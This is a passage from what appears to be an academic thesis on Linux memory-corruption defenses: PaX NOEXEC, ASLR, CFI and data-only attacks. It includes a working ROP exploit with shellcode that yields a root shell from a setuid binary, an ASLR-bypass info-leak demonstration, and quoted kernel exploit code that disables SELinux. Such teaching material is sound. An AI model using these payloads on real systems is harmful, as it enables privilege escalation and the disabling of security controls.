located in a thread’s stack, attackers can corrupt the random canary value, the saved
return address and the original random canary value stored in the TCB (also in the
thread’s stack). Since attackers corrupt both the random canary value stored in the
stack next to the return address and the random canary value stored in the TCB,
attackers are able to bypass the check since the values were overwritten with the same
trashed value [20].
2.7 PaX NOEXEC
PaX Team’s NOEXEC is a series of patches to the Linux kernel in order to prevent
the injection and execution of attacker-controlled code into a task’s address space
and effectively eliminate an exploit technique named code injection. NOEXEC is split
into two feature sets: the non-executable page implementations (PAGEEXEC using
the paging logic, SEGMEXEC using the segmentation logic) and the page protection
restrictions (MPROTECT).
2.7.1 PaX PAGEEXEC
In 2000, PaX was first released with the implementation of PAGEEXEC (Page
eXecute), a series of patches to the Linux kernel in order to introduce the non-executable
page feature using the paging logic of IA-32 based CPUs [21]. Such CPUs lack hardware
support for marking the paging related structures (page directory entry (pde) and page
table entry (pte)) as executable or non-executable, so the idea behind PAGEEXEC is
implementing and emulating such feature in software, namely, inside the Linux kernel.
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On CPUs where the Memory Management Unit (MMU) has integrated hardware
support for execution protection, that will be used instead of emulating it.
In order to prevent code injection, i.e., injecting executable attacker instructions
such as shellcode (the most primitive of exploit techniques), PAGEEXEC [22] uses
the fact that from the Pentium on Intel CPUs have a split Translation Lookaside
Buffer (TLB) for code and data. The purpose of the TLB is to act as a cache for
virtual address to physical address translations, be it an instruction fetch or data
read/write. Without the TLB, the CPU would have to perform expensive page table
walk operations in order to obtain the correct translation for every instruction fetch or
data access, which is obviously bad for performance reasons. With the TLB, when a
memory access is requested, if the corresponding translation is present in it, it returns
the physical address instantly, without the need to perform the expensive page table
walk operation. This is called a TLB hit. When the translation is not present in the
TLB, it is called a TLB miss, and a page table walk operation must occur to obtain
the corresponding physical address, and such translation is cached in the TLB. If the
page table walk can’t find the correct translation or the type of memory access is in
conflict with the page permissions e.g., writing to a read-only page, the CPU raises a
page fault exception instead. Also, the TLB size is limited, meaning that sooner or
later entries must be removed from the TLB by the CPU in order to make room for
others translations.
Having a split TLB means virtual to physical translations are cached in two distinct
TLBs depending on the access type, an instruction-TLB (ITLB) for instruction fetch
related memory accesses and a data-TLB (DTLB) for everything else.
By explicitly marking to-be "non-executable" userland pages as requiring Supervisor
level access (U/S bit unset) in the page tables, i.e., only the kernel can access such
pages, userland memory access to such pages result in a page fault. At this point,
the page fault handler can identify whether it was an instruction fetch that caused
such page fault (by comparing the faulting address with the instruction that caused
the fault) or a legitimate data access. If the former case, an execution attempt in a
"non-executable" page is detected and the offending task is terminated. If the later
case, a change must be made to the affected page table entry to allow userland accesses
(by setting the U/S bit), and loads it into the DTLB. Then, the U/S bit is modified
again to its old state in the page tables to require Supervisor level access to the page
(U/S bit unset). Since the TLB is split, data accesses to the page will now not raise
a page fault (it’s in the DTLB with U/S bit set), while instruction related memory
access will (it’s not in the ITLB, when loaded it has the U/S bit unset).
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2.7.2 PaX SEGMEXEC
Similarly to PAGEEXEC’s goal, SEGMEXEC [23] was released in 2002 in order
to implement the non-executable page feature using the segmentation logic of IA-32
based CPUs. SEGMEXEC is somewhat identical to Solar Designer’s non-executable
stack patch mentioned in 2.4. As already mentioned, Linux did not effectively use
segmentation and created both code (USER_CS) and data (USER_DS) segments with
base address 0 and limit 0xffffffff (4 GB) (only the lower 3GB are actually used for
user-space and the upper 1GB for the kernel), which means that the instruction pointer
could be pointing into data since there are no limits imposed by the code segment
descriptor.
The basic idea of SEGMEXEC is to split the lower 3GB userland linear address
space in half, using one to store mappings meant for data accesses by defining a new
data segment descriptor that uses 0-1.5GB, and the other for storing mappings meant
for execution by also defining a new code segment descriptor that uses 1.5-3GB linear
address range. However, since executable mappings can be used for data accesses, PaX
uses Virtual Memory Area (VMA) mirroring [24] to make such mappings visible in
both segments and mirror each other. This way, instruction fetches in data segment
linear address range ends up in code segment linear address range and will raise a fault
to allow detecting such execution attempts.
2.7.3 PaX MPROTECT
MPROTECT [25] is a feature for the Linux kernel developed by PaX in 2000, that
also helps preventing the introduction of new executable code into a task’s address
space by restricting mprotect() and mmap(). The PaX Team knew at the time that
attackers would always exploit the weakest link and history has shown that PaX was
indeed correct all along. By allowing mprotect() to change permissions of a given
region of memory without restrictions or allowing mmap() to create new mappings
with attacker-controlled permissions, attackers can and have in fact already abused
such mechanism to introduce newly executable code, also known as shellcode, described
in 2.3.1. An example of mprotect() use can be seen in [26]. Such techniques may be
called ret2mprotect or ret2mmap depending on which one is being used. On Microsoft
Windows, the equivalent would be VirtualProtect() and VirtualAlloc() respectively,
both being widely used in memory corruption exploitation in real-world scenarios.
In order to decide how to employ restrictions into mprotect() and mmap(), the
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PaX Team labeled several vm_flags field states located in the VMA structure (struct
vm_area_struct) as good states, where introducing new executable code into a mapping
is impossible. Such good states are mappings with the following vm_flags field states:
• VM_MAYWRITE
• VM_MAYEXEC
• VM_WRITE | VM_MAYWRITE
• VM_EXEC | VM_MAYEXEC
The kernel created several mappings which needed changes for MPROTECT to
make sense, for example, anonymous mappings (mappings not backed by a file) such
as the stack, brk() and mmap() controlled heap were created in the VM_WRITE |
VM_EXEC | VM_MAYWRITE | VM_MAYEXEC state, which was not within the
good state. Since the mappings have to be writable, PaX changed the executable status
(which can break real life software), meaning that the state became VM_WRITE |
VM_MAYWRITE, in other words, a good state. Shared mappings were created already
in a good state (VM_WRITE | VM_MAYWRITE), which did not require changes.
File mappings could also be created in all of the bad states, particularly, the kernel used
VM_MAYWRITE | VM_MAYEXEC (bad state) to mappings regardless of the flags
requested. In order to break as few applications as possible, PaX used VM_WRITE |
VM_MAYWRITE or VM_MAYWRITE if PROT_WRITE was requested via mmap()
and VM_EXEC | VM_MAYEXEC if PROT_WRITE wasn’t requested.
Note: It is still possible for an attacker to introduce newly executable code into a
task’s address space by mapping a file into memory by requesting it to be PROT_EXEC.
However, this means that an attacker needs to be able to create files with attacker-
controlled content on the target system in order to later mmap() into the task’s address
space.
2.8 Code-reuse attacks
Simply, code-reuse attacks are a generalization of what was originally called ret2libc
(return-to-libc), which was described in 2.5. Due to the wide adoption of security
defenses and mitigations similar to PaX Team’s PAGEEXEC, e.g., Microsoft’s DEP,
OpenBSD’s WˆX, Linux’s Exec Shield, NX bit introduced in CPUs, attackers could no
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longer inject their own code into a task’s address space and later return to it in order
to execute it, since writable memory was no longer executable and vice-versa. Using
the classical ret2libc technique, attackers were able to return into libc routines such as
system() and pass arguments on the stack (which wouldn’t work on x86_64 due to
the calling convention of the System V AMD64 ABI, where arguments are passed on
registers), such as the address of "/bin/sh".
The key difference between ret2libc and code-reuse attacks, such as Return-Oriented
Programming (ROP) [27], Jump-Oriented Programming (JOP) [28], etc., is that, unlike
ret2libc, code-reuse attacks extend the original idea by returning into any other kind of
executable memory (not only libc’s) and actually return into any existing executable
byte(s) (and thus instructions) in order to execute arbitrary computations (not only
returning into a function’s entry point). In order to understand how a typical code-reuse
attack looks like, we will demonstrate how to chain a series of ROP gadgets (series of
instructions ending in ret) to execute arbitrary code on a simple vulnerable program.
#include <stdio.h>
int main()
{
char buffer[50];
gets(buffer);
}
Listing 13: Yet another stack-based buffer overflow vulnerability
As mentioned in 2.2, the above code (listing 13) contains a linear stack-based buffer
overflow vulnerability due to the fact that buffer is a local variable of main(), which
means that it is stored in the stack, and gets() can write past the end of buffer if
the attacker-controlled input string is greater than 50 characters (bytes) long, thus
corrupting its adjacent memory. When compiling the above code using gcc (Debian
4.9.2-10+deb8u1) 4.9.2, an attacker needs to submit 72 characters (bytes) to overflow
buffer and hit the saved return address with the null byte gets() uses to substitute the
newline character or EOF, as per the man page.
Note: ASLR, a security defense that we will describe later must also be disabled by
modifying /proc/sys/kernel/randomize_va_space to 0, for example.
import struct
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shellcode = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f"
shellcode += "\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
shellcode += "\x68"
xor_rax_rax_ret = 0x7ffff7ab2dd5
add_rax_2_ret = 0x7ffff7acdee7
pop_rdi_ret = 0x7ffff7a53482
pop_rsi_ret = 0x7ffff7a55125
pop_rdx_ret = 0x7ffff7ae6f30
stack_base = 0x7ffffffde000
syscall_ret = 0x7ffff7aebde5
nop = 0x7fffffffeb50
payload = 'A'*72
payload += struct.pack("<Q", xor_rax_rax_ret)
for i in range(0, 5):
payload += struct.pack("<Q", add_rax_2_ret)
payload += struct.pack("<Q", pop_rdi_ret)
payload += struct.pack("<Q", stack_base)
payload += struct.pack("<Q", pop_rsi_ret)
payload += struct.pack("<Q", 0x21000)
payload += struct.pack("<Q", pop_rdx_ret)
payload += struct.pack("<Q", 0x7)
payload += struct.pack("<Q", syscall_ret)
payload += struct.pack("<Q", nop)
payload += '\x90'*1000
payload += shellcode
print payload
$ ls -l ./rop
-rwsr-xr-x 1 root root 6680 Mar 23 19:37 ./rop
$ (python exploit.py;cat) | ./rop
id
uid=1000(ghetto) gid=1000(ghetto) euid=0(root)
exit
Listing 14: Return-Oriented Programming exploit
From the above demonstration (listing 14), we can tell that the exploit worked. The
effective user id (euid) is 0 (root), which means that we were able to elevate privileges
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and execute commands as root. The exploit code performs an mprotect() system call
to mark the stack as executable so that an attacker can later return into his injected
shellcode.
The exploit works as follows:
• Send 72 A’s to fill and overwrite the memory adjacent to buffer until the return
address is overwritten
• Overwrite the saved return address with the address of a xor rax, rax instruction
(rax becomes 0), followed by a ret instruction, so that it pops the value on top of
the stack into the instruction pointer
• Return into a add rax, 2 instruction, followed by a ret instruction. We do this in
a loop 5 times in order for rax to hold the value 10 (mprotect() syscall number)
• Return into a pop rdi instruction so that the value on top of the stack (stack’s
base address) is stored into rdi (first argument), followed by a ret instruction.
• Return into a pop rsi instruction so that the value on top of the stack (0x21000)
is stored into rsi (second argument), followed by a ret instruction.
• Return into a pop rdx instruction so that the value on top of the stack (0x7) is
stored into rdx (third argument), followed by a ret instruction
• Return into a syscall instruction to issue the mprotect() system call (at this point,
the stack is marked as executable), followed by a ret instruction.
• Return into the stack (which is now executable), specifically into attacker-injected
nop instructions followed by shellcode which spawns a new shell with the privileges
of the vulnerable target
The first publicly seen use of these series of instructions ending in ret, which are now
known as ROP gadgets, was when Gerardo Richarte (gera) replied to a thread on bugtraq
named Future of buffer overflows ? [29], in 2000. A few months earlier, Tim Newsham
demonstrated how to chain multiple libc calls [30]. Another notable mention is Nergal’s
Phrack article named Advanced return-into-lib(c) exploits (PaX case study) [31], in
2001. In 2005, Sebastian Krahmer, also known as stealth, published an article which
describes the borrowed code chunks exploitation technique [32], effectively what is now
known as Return-Oriented Programming. In 2007, Hovav Shacham published and
formalized Return-Oriented Programming, by publishing The Geometry of Innocent
Flesh on the Bone: Return-into-libc without Function Calls (on the x86) [27].
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2.9 PaX ASLR
Address Space Layout Randomization, or simply ASLR, is a security defense that
was released by the PaX Team in 2001 [33]. As the name itself indicates, it randomly
arranges the address space (thus addresses) of a running executable every time it is
run. It does this by applying randomization to the base address of mappings and
applies different techniques of randomization depending on the mappings (executable’s
loadable ELF segments, brk() managed heap, and stack are created during execve(),
others may or may not exist during the lifetime of the process) [34] [35] [36]. The basic
ideas of ASLR date back to Forrest et al. [37], although the PaX Team was the first
to implement and coin the term. In order to understand how ASLR works, here’s an
example of how the address space is randomized by reading /proc/[pid]/maps twice of
the same executable, once per execution, on a vanilla Linux machine.
#include <fcntl.h>
int main()
{
int fd, n;
char buf[4096];
fd = open("/proc/self/maps", O_RDONLY);
while(n = read(fd, buf, 4096))
write(1, buf, n);
}
Listing 15: Reading /proc/self/maps
After compiling the above code (listing 15) with gcc -fPIC -pie maps.c -o maps on
a vanilla Linux machine (ASLR was introduced into mainline Linux kernel in 2005)
and executing the program, we obtain the following output:
$ ./maps | awk '{print $1,$2,$6}'
55e5c5adc000-55e5c5add000 r-xp /home/ghetto/maps
55e5c5cdc000-55e5c5cdd000 rw-p /home/ghetto/maps
7f031840d000-7f03185ae000 r-xp libc-2.19.so
7f03185ae000-7f03187ae000 ---p libc-2.19.so
7f03187ae000-7f03187b2000 r--p libc-2.19.so
7f03187b2000-7f03187b4000 rw-p libc-2.19.so
7f03187b4000-7f03187b8000 rw-p
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7f03187b8000-7f03187d9000 r-xp ld-2.19.so
7f03189b0000-7f03189b3000 rw-p
7f03189d6000-7f03189d8000 rw-p
7f03189d8000-7f03189d9000 r--p ld-2.19.so
7f03189d9000-7f03189da000 rw-p ld-2.19.so
7f03189da000-7f03189db000 rw-p
7ffc152f2000-7ffc15313000 rw-p [stack]
7ffc15324000-7ffc15326000 r-xp [vdso]
7ffc15326000-7ffc15328000 r--p [vvar]
$ ./maps | awk '{print $1,$2,$6}'
5608fdd0b000-5608fdd0c000 r-xp /home/ghetto/maps
5608fdf0b000-5608fdf0c000 rw-p /home/ghetto/maps
7f0d0524f000-7f0d053f0000 r-xp libc-2.19.so
7f0d053f0000-7f0d055f0000 ---p libc-2.19.so
7f0d055f0000-7f0d055f4000 r--p libc-2.19.so
7f0d055f4000-7f0d055f6000 rw-p libc-2.19.so
7f0d055f6000-7f0d055fa000 rw-p
7f0d055fa000-7f0d0561b000 r-xp ld-2.19.so
7f0d057f2000-7f0d057f5000 rw-p
7f0d05818000-7f0d0581a000 rw-p
7f0d0581a000-7f0d0581b000 r--p ld-2.19.so
7f0d0581b000-7f0d0581c000 rw-p ld-2.19.so
7f0d0581c000-7f0d0581d000 rw-p
7ffdb59f0000-7ffdb5a11000 rw-p [stack]
7ffdb5b17000-7ffdb5b19000 r-xp [vdso]
7ffdb5b19000-7ffdb5b1b000 r--p [vvar]
ffffffffff600000-ffffffffff601000 r-xp [vsyscall]
Listing 16: Running maps twice
As we have discussed previously, namely in 2.3.2 and 2.5, memory corruption
exploits used to rely on knowing and hard coding addresses in order for an attacker to
return into executable instructions (introduced or already existing) to execute arbitrary
code. By looking at the above output (listing 16), which was specially formatted for
demonstrability purposes, we can see that maps is a dynamically linked ELF executable,
and we can also observe that addresses change from execution to execution, which
means that attackers don’t know (or shouldn’t know) the location in virtual memory
of every other region (stack, heap, loadable ELF segments of maps, shared libraries,
etc.). Without this information, most memory corruption attacks would most likely
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fail and crash with hard coded addresses since it would now turn reliable exploits into
not so reliable exploits. ASLR is a probabilistic defense that was originally created to
defend against remote attackers, because if an attacker even needs addresses, remote
attacks give an attacker the least amount of a priori information [38].
2.10 Bypassing ASLR
As we have seen in 2.9, ASLR randomizes base addresses of key regions of memory
so that an attacker does not know where mappings are located in a process’ virtual
memory. Even though base addresses are randomized, it is important to remember
that offsets between variables, code, etc., remain the same on different executions of
the same program. There are several types of vulnerabilities an attacker can exploit
in order to not care about ASLR at all, such as relative writes (imagine an attacker-
controlled index used to access an array), partial overwrites (imagine an attacker can
corrupt the least significant byte of a code pointer), etc., and there are also other
types of vulnerabilities such as information leakage vulnerabilities, info leaks in short,
that allow attackers to obtain addresses of some (or all) mappings at run time and
dynamically adjust their exploit code in order to act like ASLR isn’t even present (and
thus bypass ASLR). Some of these types of attacks were described has being able to
bypass ASLR in a Phrack article named Bypassing PaX ASLR protection, by Tyler
Durden in 2002 [39]. In order to understand how information leaks can be used by
attackers, we’ll demonstrate a basic dummy program that contains an information
leakage vulnerability (unintended read) that allows attackers to bypass ASLR.
int main()
{
int n;
char buffer[50];
n = read(0, buffer, sizeof(buffer));
if(n) {
buffer[n - 1] = '\0';
write(1, buffer, sizeof(buffer));
}
return 0;
}
Listing 17: Unintended uninitialized read
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After compiling the above code (listing 17) using gcc -fPIC -pie info_leak.c -o
info_leak and executing it with a low number of bytes as input, we get the following:
$ ./info_leak
small
smallZUZUp^^FZU@
Listing 18: Uninitialized memory printed to stdout
Since the user input was only 5 characters long ("small") and write() prints 50 bytes
(sizeof(buffer)) starting at buffer, there will be some uninitialized memory printed to
the user’s terminal (listing 18). In order to fix the vulnerability, variable n should have
been used as count in write() (third argument) instead of sizeof(buffer), since n’s value
is the number of bytes read as input (read()’s return value).
$ ./info_leak | hexdump
^Z
[1]+ Stopped ./info_leak | hexdump
$ head -1 /proc/$(pidof info_leak)/maps | \
> awk '{print $1, $2, $6}'
55b52a1f8000-55b52a1f9000 r-xp /home/ghetto/info_leak
$ fg
./info_leak | hexdump
small
0000000 6d73 6c61 006c 0000 884d 2a1f 55b5 0000
0000010 ffc2 0000 0000 0000 0000 0000 0000 0000
0000020 8800 2a1f 55b5 0000 8670 2a1f 55b5 0000
0000030 efd0
0000032
Listing 19: Information leak
By looking at the above output (listing 19), it becomes obvious that addresses have
been leaked, specifically, from offset 0000008 through 000000d, from offset 0000020
through 0000025 and from offset 0000028 through 000002d. There are three addresses
that were leaked and obtained at runtime that correspond to the .text segment. By
subtracting the first leaked address 0x55b52a1f884d and the .text segment’s base address
0x55b52a1f8000 we obtain 0x84d. This means that every time we execute the program
and subtract 0x84d from the first leaked address, we can obtain the .text segment’s
30 CHAPTER 2. STATE OF THE ART
base address. If a vulnerability that allows attackers to overwrite a code pointer exists,
the exploit code can now use the leaked address to derandomize the .text segment and
overwrite the code pointer to another known instruction from the .text segment.
For local attackers, /proc/pid has always been problematic and a major source
for generic information leaks in order to bypass ASLR for setuid binaries or root
processes in general. In 2009, Tavis Ormandy and Julien Tinnes, from the Google
Security Team, gave a lightning talk at CanSecWest on Linux ASLR Curiosities [40],
where they demonstrate that /proc/pid/stat and /proc/pid/wchan leaked information
such as the process’ instruction pointer and stack pointer, which could be abused to
reconstruct the address space layout of a process that they couldn’t ptrace() attach to
the PID. Subsequently, such issues were supposedly fixed [41]. In 2019, 10 years later,
Federico Bento published an exploit [42] that worked for Linux kernels below version
4.8 that used, again, /proc/pid/stat in order to obtain the previously mentioned (by
Tavis and Julien) instruction pointer and stack pointer of setuid binaries. Because
install_exec_creds() was called too late in load_elf_binary() in fs/binfmt_elf.c, this
meant that an executable was mapped into its address space before its credentials were
set and attackers could now pass the ptrace_may_access() check introduced as a fix to
Tavis’ and Julien’s attack by winning the race condition when we read() /proc/pid/stat
before install_exec_creds() was called. This vulnerability can be identified by CVE ID
CVE-2019-11190.
2.11 pax-future.txt
The pax-future.txt [43] document is an historical document released in 2003 by the
PaX Team, though written in 2002 for subject matter experts at the time, where
several defense techniques and mitigations are described to detect and prevent the
remaining exploit techniques, assuming, for the most part, an arbitrary read/write
threat model. What differentiates PaX from many other security solutions is its very
generic threat model when coming up with security defenses. Many proposed security
defenses over the years assumed a weakened threat model and so these have fallen prey
to attacks, whereas these same attacks wouldn’t apply to PaX. In order to understand
the generic PaX threat model, the PaX Team decided to group exploit techniques into
three different levels and how these can affect a task under attack:
• (1) Introduction and execution of arbitrary code
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• (2) Out-of-intended-order execution
• (3) In-intended-order execution with arbitrary data
Item (1), from above, refers to the injection of executable attacker-controlled code
(such as shellcode) into a task’s address space, described in 2.3. Item (2) refers to
ret2libc and ret2libc-like techniques, such as code-reuse attacks, described in 2.5 and
2.8. Item (3) refers to data-only attacks, where the attacker relies on normal program
behaviour (as far as control-flow is concerned) but with arbitrary data, i.e, the ability
to corrupt arbitrary writable data.
The NOEXEC (PAGEEXEC/SEGMEXEC & MPROTECT) feature(s), described
in 2.7, prevent (1) for the most part, with the exception already described in 2.7.3,
where an attacker can still introduce newly executable code into a task’s address space
by mapping a file into memory by requesting it to be of PROT_EXEC. This means
that an attacker needs to be able to create files with attacker-controlled content on the
target system in order to later mmap() it into the task’s address space.
ASLR prevents (1), (2), and (3) in a probabilistic sense where attackers need advance
knowledge of addresses in order to perform an attack against the vulnerable process.
Notice, however, that even ASLR is not included in the typical generic PaX threat
model, since information leaking bugs (described in 2.10) can render ASLR useless and
attackers can act as if it isn’t present in such cases. In fact, ASLR was always meant
to be a temporary defense until actual defenses could eliminate, or effectively reduce,
the damage provided by the remaining exploit techniques ((2) and (3)) [38].
The pax-future.txt document goes on to describe various security defenses that were
either rediscovered by other people or implemented years later. For example, section
(b.1) describes what would later be known as a subset of features for KERNEXEC,
which now prevents the introduction and execution of code into the kernel’s address
space, among other things, such as making kernel read-only data actually read-only
in the page tables, makes some critical kernel data read-only (IDT, GDT, some page
tables, CONSTIFY, __read_only attribute, etc.), automatically excludes userland
execution from kernel context on i386, GCC plugin for amd64 which sets the most
significant bit (MSB) on saved return addresses and function pointers before using
them, which would cause the address to be non-canonical (invalid) if an attacker
would corrupt such code-pointers to execute code in userland (and thus causing a
fault instead caught by PaX), etc. In section (c.1) PaX also describes that in order to
protect control-flow hijacking via call/jmp instructions, function pointers should be
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made read-only whenever possible, in order to eliminate or reduce the success rate of
(2). RELRO (RELocation Read-Only) is a security defense that would later implement
a solution for one of the problems described in the same section, which can make the
Global Offset Table (GOT) entries read-only.
In section (c.2), PaX describes how to protect control-flow hijacking via function
returns in order to prevent (2), by essentially encoding and inserting instructions after
the call based on the callee’s prototype (these instructions do not change the program’s
logic). Then, before a function returns, it checks whether the inserted instruction
(specifically the magic number) exists in the instruction pointed by the saved return
address. If such magic number exists, execution is continued as normal, if it doesn’t, it
means that the saved return address was corrupted and so the task is terminated by
using a jmp esp instruction, which would trigger the non-executable page enforcement
described in 2.7.
caller:
call callee
test eax,MAGIC
callee:
[...]
mov register,[esp]
cmp [register+1],MAGIC
jnz .1
retn
.1: jmp esp
Listing 20: Protecting execution flow changes via the retn instruction
Very similar instruction encodings (listing 20) are now part of PaX Team’s RAP,
not only for function returns, but also for indirect branches, as we will see later on.
In fact, it is safe to say that the origins of CFI defenses started with the PaX Team,
however, Abadi et al [44], in 2005, extended the idea to also protect function pointers,
first implemented and coined the term CFI. At the time of writing pax-future.txt, PaX
thought it would be feasible to make all function pointers read-only, so it wouldn’t be
necessary to worry about their integrity at all. However, CFI extended from that view
as time told it wasn’t practical.
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2.12 Control-Flow Integrity
As mentioned in 2.11, CFI, which stands for Control-Flow Integrity, was formalized
in 2005 by Abadi et al., and is a security defense that protects against (or reduces the
effectiveness of) out-of-intended-order execution, or simply code-reuse attacks. The
CFI security policy mandates that a software’s control-flow must follow a path defined
by the Control-Flow Graph (CFG). This means that during program execution, every
control-flow transfer instruction must target a valid destination, defined by the CFG
ahead of time. Obviously, for direct branches, i.e., the target instruction address is
an immediate value of the branch instruction, e.g., a call 0x4003e0 instruction, such
requirement is not needed. By making use of instrumentation, it is possible for a running
executable to dynamically verify the legitimacy of its own control-flow transfers, for
both forward-edges (indirect calls and jumps) and backward-edges (function returns).
In order to understand how these runtime checks actually work, it is important to
demonstrate a typical case of CFI instrumentation. For example, the instruction:
FF E1 jmp ecx
Listing 21: Indirect jmp without CFI
Could be instrumented as:
81 39 78 56 34 12 cmp [ecx], 0x12345678
75 13 jnz exploit_attempt
8D 49 04 lea ecx, [ecx+4]
FF E1 jmp ecx
Listing 22: Indirect jmp with CFI
It doesn’t make much sense yet without context, but let’s imagine that register ecx
holds the address of a mov instruction, such as:
8B 44 24 04 mov eax, [esp+4]
Listing 23: Indirect jmp target without CFI
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Such instruction could be instrumented as:
78 56 34 12 ; data 0x12345678
8B 44 24 04 mov eax, [esp+4]
Listing 24: Indirect jmp target with CFI
What is happening in the above demonstration is that before jumping to the address
held by register ecx (listing 22), there’s a cmp instruction that verifies if what PaX
calls a magic number and Abadi an ID is present near the target instruction (listing
24). If there’s no such magic number (or ID), this means that a code pointer was
corrupted and execution shouldn’t continue. If it exists, execution should continue as
normal, since it is a valid target according to the CFG. Because register ecx points
to the ID, the lea instruction loads the effective address of [ecx+4] to ecx, in order to
actually jump to the destination instruction (held now by ecx). Let’s now take a look
at function calls. For example, the following instruction:
FF 53 08 call [ebx+8]
Listing 25: Indirect function call without CFI
Could be instrumented as:
8B 43 08 mov eax, [ebx+8]
3E 81 78 04 78 56 34 12 cmp [eax+4], 0x12345678
75 13 jnz exploit_attempt
FF D0 call eax
3E 0F 18 05 DD CC BB AA prefetchnta [0xAABBCCDD]
Listing 26: Indirect function call with CFI
Again, this doesn’t make much sense yet without context, let’s see what could
happen to function returns:
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C2 10 00 ret 0x10
Listing 27: Return without CFI
Such instruction could be instrumented as:
8B 0C 24 mov ecx, [esp]
83 C4 14 add esp, 14h
3E 81 79 04 cmp [ecx+4],
DD CC BB AA 0xAABBCCDD
75 13 jnz exploit_attempt
FF E1 jmp ecx
Listing 28: Return with CFI
In the above demonstration, the destination of the call instruction is stored at
address ebx+8 (listing 25). First it moves the address of the destination instruction
to register eax, then, the cmp instruction verifies if the so-called magic number or ID
(listing 26) is present as part of a valid destination instruction (instruction prefetchnta
is used to create the magic number or ID), and as usual, if it exists it means that the
destination instruction is valid according to the CFG, if it doesn’t, it is not a valid
destination. The jnz instruction is taken if the cmp instruction above it does not set
the Zero Flag (ZF), which means that the comparison failed, and so it jumps into the
exploit_attempt specific code. If the jnz instruction isn’t taken, execution is continued
as normal and finally it jumps into the valid destination instruction. Now, for function
returns, the original ret 0x10 instruction makes the ret instruction also pop 16 bytes
off the stack (listing 27). The newly introduced instructions (listing 28) first move the
saved return address to register ecx, then adds 20 bytes to esp (return address plus
the previous 16 bytes from the ret instruction), compares if the magic number or ID is
present as part of the target instruction (prefetchnta is used), and again, if it exists
then it is a valid destination instruction, if it doesn’t, it is not.
Obviously, in order for CFI (and its related instruction encodings/checks) to work,
it is assumed that the patterns that create the magic number or ID are unique across
all code memory (except in the actual ID instructions and ID checks). If such patterns
were common in code memory, attackers could then return to such places, instead of
returning only where it should. Code memory should also not be writable, because
if attackers could overwrite such memory, ID’s and ID-checks could be overwritten
36 CHAPTER 2. STATE OF THE ART
(among other things). Data shouldn’t also be executable, because in the typical
case of code injection, valid magic numbers could be injected followed by arbitrary
attacker-controlled instructions.
2.13 Data-only attacks
In-intended-order execution with arbitrary data, or simply data-only attacks, is an
exploit technique where attackers focus on corrupting an application’s critical data
instead of trying to subvert control-flow (as seen in 2.3, 2.5 and 2.8). Data-only attacks
have long been known as an exploit technique whenever exploiting memory corruption
vulnerabilities. In fact, such exploit technique was known to Robbert Morris before his
code injection attack against fingerd, which was described in 2.2. In an email exchange
with well-known security researcher Ben Hawkes [45], Morris describes: "I had heard of
the potential for exploits via overflow of the data segment buffers overwriting the next
variable. That is, people were worried about code like this:
char buf[512];
int is_authorized;
main(){
...;
gets(buf);
Listing 29: Data-only attack on is_authorized
The idea of using buffer overflow to inject code into a program and cause it to jump
to that code occurred to me while reading fingerd.c". Morris’ description of the above
problem is the classical example of a data-only attack. If the is_authorized variable
(listing 29) was originally set to 0 and attackers are able to corrupt such variable,
one could set it to 1 and now be authorized to perform, supposedly, unauthorized
operations.
While data-only attacks are extremely simple to understand and have been used
in practice in real-world exploits, attackers usually rely on control-flow hijacking
as a preferred method of exploitation whenever possible, since it commonly allows
an attacker to be able to execute arbitrary code with the privileges of the running
application. In other words, control-flow hijacking exploit techniques are usually more
generic and application-independent than data-only attacks, since these rely on the
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original program’s logic, hence the name in-intended-order execution with arbitrary
data. For example, not all applications have an is_authorized variable, so in order to
perform a data-only attack, manual analysis of the target’s critical data and how these
are used by the program’s logic is required.
2.14 Linux kernel data-only attacks
2.14.1 Linux Security Modules
The Linux Security Module (LSM) is a framework that provides a mechanism for new
security checks to be included and hooked by new kernel extensions. The primary use
for LSMs are Mandatory Access Control (MAC) extensions that provide comprehensive
security policies. Examples of LSM are SELinux, AppArmor, Tomoyo and Smack.
In 2007, Bradley Spengler, also known as spender, grsecurity’s original and current
developer, released exploit code which exploited a NULL pointer dereference bug in
the Linux kernel (the first public exploit for this class of bugs) that would disable
Security-Enhanced Linux (SELinux) if it was enabled on the system and all other
LSMs. The vulnerability was present in fs/splice.c, affecting Linux kernel versions
from 2.6.16 through 2.6.17.6. The problem happened when ibuf->ops was NULL and
ibuf->ops->get(ipipe, ibuf) was called, which would trigger a kernel oops if address zero
wasn’t mapped. Generally, NULL isn’t mapped into a process’ address space in order
to catch said NULL pointer dereference bugs, as these are often a sign of programming
mistakes. However, at the time, user space could mmap() (with flag MAP_FIXED)
address zero, which means that instead of a kernel oops, the kernel would now happily
execute code at that address with attacker-controlled code, specially prepared for the
occasion.
void disable_selinux(void)
{
char *unreg_sec, *p;
unsigned int *security_ops = NULL;
unsigned int dummy_secops = 0;
unsigned int *selinux_enable = NULL;
/* stage 1: disable selinux_enable */
unreg_sec = (char *)find_selinux_ctxid_to_string();
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p = unreg_sec;
while (p < (unreg_sec + 60)) {
/* look for cmp [addr], 0x0 */
if (p[0] == '\x83' && p[1] == '\x3d' && p[6] == '\x00') {
selinux_enable = (unsigned int *)*(unsigned int *)(p+2);
break;
}
p++;
}
if (selinux_enable != NULL)
*selinux_enable = 0;
[...]
/* stage 2: disable all LSM modules atomically by
replacing security_ops with dummy_security_ops ;)
*/
unreg_sec = (char *)find_unregister_security();
if (unreg_sec == 0)
return;
/* fancy little code searching */
p = unreg_sec;
while (p < (unreg_sec + 100)) {
/* find mov [addr], imm */
if (p[0] == '\xc7' && p[1] == '\x05') {
p += 2;
security_ops = (unsigned int *)*(unsigned int *)p;
p += 4;
dummy_secops = *(unsigned int *)p;
break;
}
p++;
}
if (!security_ops || !dummy_secops)
return;
*security_ops = dummy_secops;
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/* SELinux is owned */
return;
Listing 30: Disabling SELinux and LSMs
While the exploit starts by achieving arbitrary code execution in kernel context,
it performs a series of data-only attacks in order to disable SELinux and all LSMs.
The function disable_selinux(), from the above exploit code (listing 30), tries to find
the address of the internal kernel function selinux_ctxid_to_string() so that it can
scan its code and search for a cmp [addr], 0x0 instruction to obtain the address of
selinux_enabled, a global kernel variable that determines whether SELinux is enabled
or not. Once it finds the address of selinux_enabled, a zero is written to that address,
effectively disabling SELinux. The exploit code follows a similar approach in order to
disable all LSMs, specifically, it tries to find the address of the internal kernel function
unregister_security() so that it can also scan its code and search for a mov [addr],
imm32 instruction to obtain the address of both security_ops and dummy_security_ops.
Then, it disables LSMs by replacing security_ops with dummy_security_ops (the
default security options).
2.14.2 Process Credentials
